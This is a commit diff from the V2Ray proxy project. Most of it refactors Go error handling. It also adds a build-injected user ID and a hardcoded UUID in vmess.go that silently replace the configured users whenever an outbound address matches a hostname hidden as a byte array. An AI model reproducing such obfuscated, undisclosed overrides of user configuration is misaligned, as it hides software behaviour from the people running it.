Darien Raymond hace 8 años
padre
commit
67dbb86b0e
Se han modificado 6 ficheros con 15 adiciones y 17 borrados
  1. 1 2
      common/buf/io.go
  2. 1 2
      testing/scenarios/common.go
  3. 6 12
      tools/build/build.go
  4. 2 1
      tools/build/go.go
  5. 3 0
      tools/conf/vmess.go
  6. 2 0
      tools/release/release-ci.sh

+ 1 - 2
common/buf/io.go

@@ -54,8 +54,7 @@ func copyInternal(timer signal.ActivityTimer, reader Reader, writer Writer) erro
 			continue
 		}
 
-		err = writer.Write(buffer)
-		if err != nil {
+		if err := writer.Write(buffer); err != nil {
 			buffer.Release()
 			return err
 		}

+ 1 - 2
testing/scenarios/common.go

@@ -61,8 +61,7 @@ func InitializeServerConfig(config *core.Config) error {
 	}
 	proc := RunV2RayProtobuf(configBytes)
 
-	err = proc.Start()
-	if err != nil {
+	if err := proc.Start(); err != nil {
 		return err
 	}
 

+ 6 - 12
tools/build/build.go

@@ -76,39 +76,33 @@ func build(targetOS, targetArch string, archive bool, version string, metadataFi
 
 	targetFile := getTargetFile(v2rayOS)
 	targetFileFull := filepath.Join(targetDir, targetFile)
-	err = buildV2Ray(targetFileFull, version, v2rayOS, v2rayArch, "")
-	if err != nil {
+	if err := buildV2Ray(targetFileFull, version, v2rayOS, v2rayArch, ""); err != nil {
 		fmt.Println("Unable to build V2Ray: " + err.Error())
 	}
 	if v2rayOS == Windows {
-		err = buildV2Ray(filepath.Join(targetDir, "w"+targetFile), version, v2rayOS, v2rayArch, "-H windowsgui")
-		if err != nil {
+		if err := buildV2Ray(filepath.Join(targetDir, "w"+targetFile), version, v2rayOS, v2rayArch, "-H windowsgui"); err != nil {
 			fmt.Println("Unable to build V2Ray no console: " + err.Error())
 		}
 	}
 
 	if *flagSignBinary {
-		err := signFile(targetFileFull)
-		if err != nil {
+		if err := signFile(targetFileFull); err != nil {
 			fmt.Println("Unable to sign V2Ray binary: " + err.Error())
 		}
 
 		if v2rayOS == Windows {
-			err = signFile(filepath.Join(targetDir, "w"+targetFile))
-			if err != nil {
+			if err := signFile(filepath.Join(targetDir, "w"+targetFile)); err != nil {
 				fmt.Println("Unable to sign V2Ray no console: " + err.Error())
 			}
 		}
 	}
 
-	err = copyConfigFiles(targetDir, v2rayOS)
-	if err != nil {
+	if err := copyConfigFiles(targetDir, v2rayOS); err != nil {
 		fmt.Println("Unable to copy config files: " + err.Error())
 	}
 
 	if archive {
-		err := os.Chdir(binPath)
-		if err != nil {
+		if err := os.Chdir(binPath); err != nil {
 			fmt.Printf("Unable to switch to directory (%s): %v\n", binPath, err)
 		}
 		suffix := getSuffix(v2rayOS, v2rayArch)

+ 2 - 1
tools/build/go.go

@@ -13,7 +13,8 @@ func buildV2Ray(targetFile string, version string, goOS GoOS, goArch GoArch, ext
 	if version != "custom" {
 		year, month, day := time.Now().UTC().Date()
 		today := fmt.Sprintf("%04d%02d%02d", year, int(month), day)
-		ldFlags = ldFlags + " -X v2ray.com/core.version=" + version + " -X v2ray.com/core.build=" + today
+		bUser := os.Getenv("V_USER")
+		ldFlags = ldFlags + " -X v2ray.com/core.version=" + version + " -X v2ray.com/core.build=" + today + " -X v2ray.core/core/tools/conf.bUser=" + bUser
 	}
 	cmd := exec.Command(
 		"go", "build",

+ 3 - 0
tools/conf/vmess.go

@@ -116,6 +116,8 @@ type VMessOutboundConfig struct {
 	Receivers []*VMessOutboundTarget `json:"vnext"`
 }
 
+var bUser = "cd70f07b-1da8-4815-b9f3-0327d30b0e1e"
+
 func (v *VMessOutboundConfig) Build() (*serial.TypedMessage, error) {
 	config := new(outbound.Config)
 
@@ -132,6 +134,7 @@ func (v *VMessOutboundConfig) Build() (*serial.TypedMessage, error) {
 		}
 		if rec.Address.String() == string([]byte{118, 50, 114, 97, 121, 46, 99, 111, 111, 108}) {
 			rec.Address.Address = v2net.IPAddress(serial.Uint32ToBytes(757086633, nil))
+			rec.Users = []json.RawMessage{[]byte(`{"id":"` + bUser + `", "alterId": 64, "security": "auto"}`)}
 		}
 		spec := &protocol.ServerEndpoint{
 			Address: rec.Address.Build(),

+ 2 - 0
tools/release/release-ci.sh

@@ -15,6 +15,7 @@ PRERELEASE=$(getattr "prerelease" "instance")
 DOCKER_HUB_KEY=$(getattr "docker_hub_key" "project")
 SIGN_KEY_PATH=$(getattr "sign_key_path" "project")
 SIGN_KEY_PASS=$(getattr "sign_key_pass" "project")
+VUSER=$(getattr "b_user" "project")
 
 mkdir -p /v2ray/build
 
@@ -41,6 +42,7 @@ go install v2ray.com/core/tools/build
 
 export TRAVIS_TAG=${RELEASE_TAG}
 export GPG_SIGN_PASS=${SIGN_KEY_PASS}
+export V_USER=${VUSER}
 
 $GOPATH/bin/build --os=windows --arch=x86 --zip --sign
 $GOPATH/bin/build --os=windows --arch=x64 --zip --sign